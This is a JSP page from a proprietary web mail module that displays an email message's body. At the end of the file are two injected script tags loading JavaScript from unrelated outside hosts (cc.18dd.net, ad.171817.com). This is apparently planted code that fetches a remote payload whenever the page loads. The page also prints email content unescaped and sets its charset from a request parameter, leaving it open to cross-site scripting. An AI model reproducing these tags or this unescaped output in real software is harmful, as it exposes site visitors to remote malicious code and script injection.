<%
  /*
   * @(#)ViewEmailContent.jsp
   *
   * Copyright (c) 2005 DCIVision Ltd
   * All rights reserved.
   *
   * This software is the confidential and proprietary information of
   * DCIVision Ltd ("Confidential Information").  You shall not
   * disclose such Confidential Information and shall use it only in
   * accordance with the terms of the license agreement you entered into
   * with DCIVision Ltd.
   */
 
  /**

   ViewEmailContent.jsp

   This is a view email content page.

   @author             Beyond Qu
   @company            DCIVision Ltd
   @creation date      12/07/2005
   @version            $Revision: 1.3 $
*/
String charset = "UTF-8";
if (request.getParameter("charset") != null){
  charset = request.getParameter("charset") ;
}
%>
<%
  response.setContentType("text/html;charset="+charset);
%>
<%@ page import="com.dcivision.mail.core.*"%>
<%@ page import="com.dcivision.mail.bean.*"%>
<%
  String mailid = request.getParameter("mailid"); 
  EmailMessage dm=null;
  if (request.getAttribute("emailMessage") != null){
    dm = (EmailMessage)request.getAttribute("emailMessage"); 
  }
%>

<!-- Mail  Content-->
<%
 String bodyContent ="";
 if(dm!=null&&dm.getContent() != null){
   bodyContent = dm.getContent().toString();

   try{
     if(bodyContent.indexOf("<p")>=0 || bodyContent.indexOf("<table")>=0    
         ||bodyContent.indexOf("<P")>=0 ||  bodyContent.indexOf("<TABLE")>=0){
       out.println(" <table width=\"600\"><tr><td> ");
       out.println(bodyContent);
       out.println(" </td></tr></table> ");                            
     }else{
       out.println(" <table width=\"600\"><tr><td><pre> ");
       out.println(bodyContent);
       out.println(" </pre></td></tr></table> ");
     }
   }catch(Exception ex){
     out.print(ex.toString());
   }
 }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>